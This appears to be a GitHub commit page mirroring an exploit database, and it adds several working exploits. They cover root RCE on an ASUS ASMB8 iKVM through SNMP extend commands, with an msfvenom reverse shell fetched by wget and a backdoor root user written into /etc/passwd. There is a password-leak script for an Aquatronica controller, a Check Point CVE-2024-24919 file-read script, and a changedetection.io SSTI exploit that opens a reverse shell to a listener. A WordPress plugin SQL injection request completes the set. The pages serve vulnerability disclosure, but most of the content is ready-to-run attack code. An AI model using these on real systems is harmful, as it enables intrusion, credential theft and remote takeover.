Skip to content

Commit 82db7de

Browse files
author
certcc-ghbot
committed
Merge remote-tracking branch 'upstream/main'
2 parents 34b0adf + ea4df56 commit 82db7de

File tree

12 files changed

+705
-0
lines changed

12 files changed

+705
-0
lines changed

‎exploits/hardware/remote/52033.txt

Lines changed: 61 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,61 @@
1+
# Exploit Title: ASUS ASMB8 iKVM 1.14.51 - Remote Code Execution (RCE) & SSH Access
2+
# Date: 2023-02-16
3+
# Exploit Author: d1g@segfault.net for NetworkSEC [NWSSA-002-2023]
4+
# Vendor Homepage: https://servers.asus.com/search?q=ASMB8
5+
# Version/Model: ASMB8 iKVM Firmware <= 1.14.51 (probably others)
6+
# Tested on: Linux AMI2CFDA1C7570E 2.6.28.10-ami armv5tejl
7+
# CVE: CVE-2023-26602
8+
9+
++++++++++++++++++++
10+
0x00 DESCRIPTION
11+
++++++++++++++++++++
12+
During a recent engagement, a remote server management interface has been
13+
discovered. Furthermore, SNMPv2 was found to be enabled, offering write
14+
access to the private community, subsequently allowing us to introduce
15+
SNMP arbitrary extensions to achieve RCE.
16+
We also found a hardcoded account sysadmin:superuser by cracking the
17+
shadow file (md5crypt) found on the system and identifed an "anonymous"
18+
user w/ the same password, however a lock seems to be in place to prevent
19+
using these credentials via SSH (running defshell as default shell).
20+
+++++++++++++++
21+
0x01 IMPACT
22+
+++++++++++++++
23+
By exploiting SNMP arbitrary extension, we are able to run any command on
24+
the system w/ root privileges, and we are able to introduce our own user
25+
circumventing the defshell restriction for SSH.
26+
+++++++++++++++++++++++++++++++
27+
0x02 PROOF OF CONCEPT (PoC)
28+
+++++++++++++++++++++++++++++++
29+
At first, we have to create required extensions on the system, e.g. via
30+
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c private x.x.x.x 'nsExtendStatus."cmd"' = createAndGo 'nsExtendCommand."cmd"' = /bin/sh 'nsExtendArgs."cmd"' = '-c "[command]"'
31+
and if everything is set, we can just run that command by
32+
snmpbulkwalk -c public -v2c x.x.x NET-SNMP-EXTEND-MIB::nsExtendObjects
33+
which will execute our defined command and show us its output.
34+
+++++++++++++++++++++++++++++++
35+
0x03 SSH Remote Root Access
36+
+++++++++++++++++++++++++++++++
37+
The identified RCE can be used to transfer a reverse tcp shell created
38+
by msfvenom for arm little-endian, e.g.
39+
msfvenom -p linux/armle/shell_reverse_tcp LHOST=x.x.x.x LPORT=4444 -f elf -o rt.bin
40+
We can now transfer the binary, adjust permissions and finally run it:
41+
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c private x.x.x.x 'nsExtendStatus."cmd"' = createAndGo 'nsExtendCommand."cmd"' = /bin/sh 'nsExtendArgs."cmd"' = '-c "wget -O /var/tmp/rt.bin http://x.x.x.x/rt.bin"'
42+
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c private x.x.x.x 'nsExtendStatus."cmd"' = createAndGo 'nsExtendCommand."cmd"' = /bin/sh 'nsExtendArgs."cmd"' = '-c "chmod +x /var/tmp/rt.bin"'
43+
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c private x.x.x.x 'nsExtendStatus."cmd"' = createAndGo 'nsExtendCommand."cmd"' = /bin/sh 'nsExtendArgs."cmd"' = '-c "/var/tmp/rt.bin"'
44+
Again, we have to request execution of the lines in the MIB via:
45+
snmpbulkwalk -c public -v2c x.x.x.x NET-SNMP-EXTEND-MIB::nsExtendObjects
46+
We get a reverse connection from the host, and can now act on the local system
47+
to easily echo our own line into /etc/passwd:
48+
echo d1g:OmE2EUpLJafIk:0:0:root:/root:/bin/sh >> /etc/passwd
49+
By setting the standard shell to /bin/sh, we are able to get a SSH root
50+
shell into the system, effectively circumventing the defshell restriction.
51+
$ sshpass -p xxxx ssh x.x.x.x -oHostKeyAlgorithms=+ssh-dss -l d1g
52+
BusyBox v1.13.2 (2017-07-11 18:39:07 CST) built-in shell (ash)
53+
Enter 'help' for a list of built-in commands.
54+
# uname -a
55+
Linux AMI2CFDA1C7570E 2.6.28.10-ami #1 Tue Jul 11 18:49:20 CST 2017 armv5tejl unknown
56+
# uptime
57+
15:01:45 up 379 days, 23:33, load average: 2.63, 1.57, 1.25
58+
# head -n 1 /etc/shadow
59+
sysadmin:$1$A17c6z5w$5OsdHjBn1pjvN6xXKDckq0:14386:0:99999:7:::
60+
---
61+
#EOF

‎exploits/hardware/webapps/52028.py

Lines changed: 86 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,86 @@
1+
#!/usr/bin/env python
2+
# -*- coding: utf-8 -*-
3+
#
4+
#
5+
# Aquatronica Control System 5.1.6 Passwords Leak Vulnerability
6+
#
7+
#
8+
# Vendor: Aquatronica s.r.l.
9+
# Product web page: https://www.aquatronica.com
10+
# Affected version: Firmware: 5.1.6
11+
# Web: 2.0
12+
#
13+
# Summary: Aquatronica's electronic AQUARIUM CONTROLLER is easy
14+
# to use, allowing you to control all the electrical devices in
15+
# an aquarium and to monitor all their parameters; it can be used
16+
# for soft water aquariums, salt water aquariums or both simultaneously.
17+
#
18+
# Desc: The tcp.php endpoint on the Aquatronica controller is exposed
19+
# to unauthenticated attackers over the network. This vulnerability
20+
# allows remote attackers to send a POST request which can reveal
21+
# sensitive configuration information, including plaintext passwords.
22+
# This can lead to unauthorized access and control over the aquarium
23+
# controller, compromising its security and potentially allowing attackers
24+
# to manipulate its settings.
25+
#
26+
# Tested on: Apache/2.0.54 (Unix)
27+
# PHP/5.4.17
28+
#
29+
#
30+
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
31+
# @zeroscience
32+
#
33+
#
34+
# Advisory ID: ZSL-2024-5824
35+
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5824.php
36+
#
37+
#
38+
# 04.05.2024
39+
#
40+
41+
import requests, html, re, sys, time
42+
from urllib.parse import unquote
43+
44+
program = "TCP"
45+
command = "ws_get_network_cfg"
46+
function_id = "TCP_XML_REQUEST"
47+
48+
print("""
49+
_________ . .
50+
(.. \_ , |\ /|
51+
\ O \ /| \ \/ /
52+
\______ \/ | \ /
53+
vvvv\ \ | / |
54+
\^^^^ == \_/ |
55+
`\_ === \. |
56+
/ /\_ \ / |
57+
|/ \_ \| /
58+
___ ______________\________/________aquatronica_0day___
59+
| |
60+
| |
61+
| |
62+
""")
63+
64+
if len(sys.argv) != 2:
65+
print("Usage: python aqua.py <ip:port>")
66+
sys.exit(1)
67+
68+
ip = sys.argv[1]
69+
url = f"http://{ip}/{program.lower()}.php"
70+
71+
post_data = {'function_id' : function_id.lower(),
72+
'command' : command.upper()}
73+
74+
r = requests.post(url, data=post_data)
75+
76+
if r.status_code == 200:
77+
r_d = unquote(r.text)
78+
f_d_r = html.unescape(r_d)
79+
regex = r'pwd="([^"]+)"'
80+
rain = re.findall(regex, f_d_r)
81+
82+
for drops in rain:
83+
print(' ',drops)
84+
time.sleep(0.5)
85+
else:
86+
print(f"Dry season! {r.status_code}")

‎exploits/hardware/webapps/52029.py

Lines changed: 59 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,59 @@
1+
# Exploit Title: Check Point Security Gateway - Information Disclosure (Unauthenticated)
2+
# Exploit Author: Yesith Alvarez
3+
# Vendor Homepage: https://support.checkpoint.com/results/sk/sk182336
4+
# Version: R77.20 (EOL), R77.30 (EOL), R80.10 (EOL), R80.20 (EOL), R80.20.x, R80.20SP (EOL), R80.30 (EOL), R80.30SP (EOL), R80.40 (EOL), R81, R81.10, R81.10.x, R81.20
5+
# CVE : CVE-2024-24919
6+
7+
from requests import Request, Session
8+
import sys
9+
import json
10+
11+
12+
13+
def title():
14+
print('''
15+
16+
_______ ________ ___ ___ ___ _ _ ___ _ _ ___ __ ___
17+
/ ____\ \ / / ____| |__ \ / _ \__ \| || | |__ \| || | / _ \/_ |/ _ \
18+
| | \ \ / /| |__ ______ ) | | | | ) | || |_ ______ ) | || || (_) || | (_) |
19+
| | \ \/ / | __|______/ /| | | |/ /|__ _|______/ /|__ _\__, || |\__, |
20+
| |____ \ / | |____ / /_| |_| / /_ | | / /_ | | / / | | / /
21+
\_____| \/ |______| |____|\___/____| |_| |____| |_| /_/ |_| /_/
22+
23+
24+
25+
26+
Author: Yesith Alvarez
27+
Github: https://github.com/yealvarez
28+
Linkedin: https://www.linkedin.com/in/pentester-ethicalhacker/
29+
''')
30+
31+
def exploit(url, path):
32+
url = url + '/clients/MyCRL'
33+
data = "aCSHELL/../../../../../../../../../../.."+ path
34+
headers = {
35+
'Connection': 'keep-alive',
36+
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0'
37+
}
38+
s = Session()
39+
req = Request('POST', url, data=data, headers=headers)
40+
prepped = req.prepare()
41+
#del prepped.headers['Content-Type']
42+
resp = s.send(prepped,
43+
verify=False,
44+
timeout=15
45+
)
46+
print(prepped.headers)
47+
print(url)
48+
print(resp.headers)
49+
print(resp.status_code)
50+
51+
52+
if __name__ == '__main__':
53+
title()
54+
if(len(sys.argv) < 3):
55+
print('[+] USAGE: python3 %s https://<target_url> path\n'%(sys.argv[0]))
56+
print('[+] EXAMPLE: python3 %s https://192.168.0.10 "/etc/passwd"\n'%(sys.argv[0]))
57+
exit(0)
58+
else:
59+
exploit(sys.argv[1],sys.argv[2])

‎exploits/multiple/webapps/52027.py

Lines changed: 125 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,125 @@
1+
# Exploit Title: changedetection <= 0.45.20 Remote Code Execution (RCE)
2+
# Date: 5-26-2024
3+
# Exploit Author: Zach Crosman (zcrosman)
4+
# Vendor Homepage: changedetection.io
5+
# Software Link: https://github.com/dgtlmoon/changedetection.io
6+
# Version: <= 0.45.20
7+
# Tested on: Linux
8+
# CVE : CVE-2024-32651
9+
10+
from pwn import *
11+
import requests
12+
from bs4 import BeautifulSoup
13+
import argparse
14+
15+
def start_listener(port):
16+
listener = listen(port)
17+
print(f"Listening on port {port}...")
18+
conn = listener.wait_for_connection()
19+
print("Connection received!")
20+
context.newline = b'\r\n'
21+
# Switch to interactive mode
22+
conn.interactive()
23+
24+
def add_detection(url, listen_ip, listen_port, notification_url=''):
25+
session = requests.Session()
26+
27+
# First request to get CSRF token
28+
request1_headers = {
29+
"Cache-Control": "max-age=0",
30+
"Upgrade-Insecure-Requests": "1",
31+
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
32+
"Accept-Encoding": "gzip, deflate",
33+
"Accept-Language": "en-US,en;q=0.9",
34+
"Connection": "close"
35+
}
36+
37+
response = session.get(url, headers=request1_headers)
38+
soup = BeautifulSoup(response.text, 'html.parser')
39+
csrf_token = soup.find('input', {'name': 'csrf_token'})['value']
40+
print(f'Obtained CSRF token: {csrf_token}')
41+
42+
# Second request to submit the form and get the redirect URL
43+
add_url = f"{url}/form/add/quickwatch"
44+
add_url_headers = { # Define add_url_headers here
45+
"Origin": url,
46+
"Content-Type": "application/x-www-form-urlencoded"
47+
}
48+
add_url_data = {
49+
"csrf_token": csrf_token,
50+
"url": "https://reddit.com/r/baseball",
51+
"tags": '',
52+
"edit_and_watch_submit_button": "Edit > Watch",
53+
"processor": "text_json_diff"
54+
}
55+
56+
post_response = session.post(add_url, headers=add_url_headers, data=add_url_data, allow_redirects=False)
57+
58+
# Extract the URL from the Location header
59+
if 'Location' in post_response.headers:
60+
redirect_url = post_response.headers['Location']
61+
print(f'Redirect URL: {redirect_url}')
62+
else:
63+
print('No redirect URL found')
64+
return
65+
66+
# Third request to add the changedetection url with ssti in notification config
67+
save_detection_url = f"{url}{redirect_url}"
68+
save_detection_headers = { # Define save_detection_headers here
69+
"Referer": redirect_url,
70+
"Cookie": f"session={session.cookies.get('session')}"
71+
}
72+
73+
save_detection_data = {
74+
"csrf_token": csrf_token,
75+
"url": "https://reddit.com/r/all",
76+
"title": '',
77+
"tags": '',
78+
"time_between_check-weeks": '',
79+
"time_between_check-days": '',
80+
"time_between_check-hours": '',
81+
"time_between_check-minutes": '',
82+
"time_between_check-seconds": '30',
83+
"filter_failure_notification_send": 'y',
84+
"fetch_backend": 'system',
85+
"webdriver_delay": '',
86+
"webdriver_js_execute_code": '',
87+
"method": 'GET',
88+
"headers": '',
89+
"body": '',
90+
"notification_urls": notification_url,
91+
"notification_title": '',
92+
"notification_body": f"""
93+
{{% for x in ().__class__.__base__.__subclasses__() %}}
94+
{{% if "warning" in x.__name__ %}}
95+
{{{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import os,pty,socket;s=socket.socket();s.connect((\\"{listen_ip}\\",{listen_port}));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\\"/bin/bash\\")'").read()}}}}
96+
{{% endif %}}
97+
{{% endfor %}}
98+
""",
99+
"notification_format": 'System default',
100+
"include_filters": '',
101+
"subtractive_selectors": '',
102+
"filter_text_added": 'y',
103+
"filter_text_replaced": 'y',
104+
"filter_text_removed": 'y',
105+
"trigger_text": '',
106+
"ignore_text": '',
107+
"text_should_not_be_present": '',
108+
"extract_text": '',
109+
"save_button": 'Save'
110+
}
111+
final_response = session.post(save_detection_url, headers=save_detection_headers, data=save_detection_data)
112+
113+
print('Final request made.')
114+
115+
if __name__ == "__main__":
116+
parser = argparse.ArgumentParser(description='Add detection and start listener')
117+
parser.add_argument('--url', type=str, required=True, help='Base URL of the target site')
118+
parser.add_argument('--port', type=int, help='Port for the listener', default=4444)
119+
parser.add_argument('--ip', type=str, required=True, help='IP address for the listener')
120+
parser.add_argument('--notification', type=str, help='Notification url if you don\'t want to use the system default')
121+
args = parser.parse_args()
122+
123+
124+
add_detection(args.url, args.ip, args.port, args.notification)
125+
start_listener(args.port)

‎exploits/php/webapps/52024.txt

Lines changed: 47 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,47 @@
1+
Exploit Title: BWL Advanced FAQ Manager 2.0.3 - Authenticated SQL Injection
2+
Date: 14 Apr 2024
3+
Exploit Author: Ivan Spiridonov (xbz0n)
4+
Software Link: https://codecanyon.net/item/bwl-advanced-faq-manager/5007135
5+
Version: 2.0.3
6+
Tested on: Ubuntu 20.04
7+
CVE: CVE-2024-32136
8+
9+
SQL Injection
10+
11+
SQL injection is a type of security vulnerability that allows an attacker to interfere with an application's database queries. It usually involves the insertion or "injection" of an SQL query via the input data from the client into the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system, and in some cases, issue commands to the operating system.
12+
13+
Affected Components
14+
15+
Plugin: BWL Advanced FAQ Manager
16+
Version: 2.0.3
17+
Affected Parameter: 'date_range'
18+
Affected Page: /wp-admin/edit.php
19+
Description
20+
21+
The vulnerability exists within the 'date_range' parameter used in the 'bwl-advanced-faq-analytics' page of the BWL Advanced FAQ Manager plugin. Authenticated attackers can execute arbitrary SQL commands within the database by manipulating the input to this parameter.
22+
23+
Proof of Concept
24+
25+
Manual Exploitation
26+
27+
The following GET request demonstrates the vulnerability:
28+
29+
GET /wp-admin/edit.php?page=bwl-advanced-faq-analytics&post_type=bwl_advanced_faq&filter_type=views&date_range=(select*from(select(sleep(20)))a)&faq_id=all HTTP/1.1
30+
Host: localhost
31+
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0
32+
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
33+
Accept-Language: en-US,en;q=0.5
34+
Accept-Encoding: gzip, deflate, br
35+
Referer: http://localhost/wp-admin/edit.php?post_type=bwl_advanced_faq&page=bwl-advanced-faq-analytics
36+
Connection: close
37+
Cookie: [Relevant Cookies]
38+
Upgrade-Insecure-Requests: 1
39+
Sec-Fetch-Dest: document
40+
Sec-Fetch-Mode: navigate
41+
Sec-Fetch-Site: same-origin
42+
Sec-Fetch-User: ?1
43+
If the server response is delayed by approximately 20 seconds, it indicates a successful exploitation of the time-based SQL Injection, confirming the vulnerability.
44+
45+
Recommendations
46+
47+
BWL Advanced FAQ Manager v2.0.3 users are advised to update the plugin to the fixed version v2.0.4.

0 commit comments

Comments
 (0)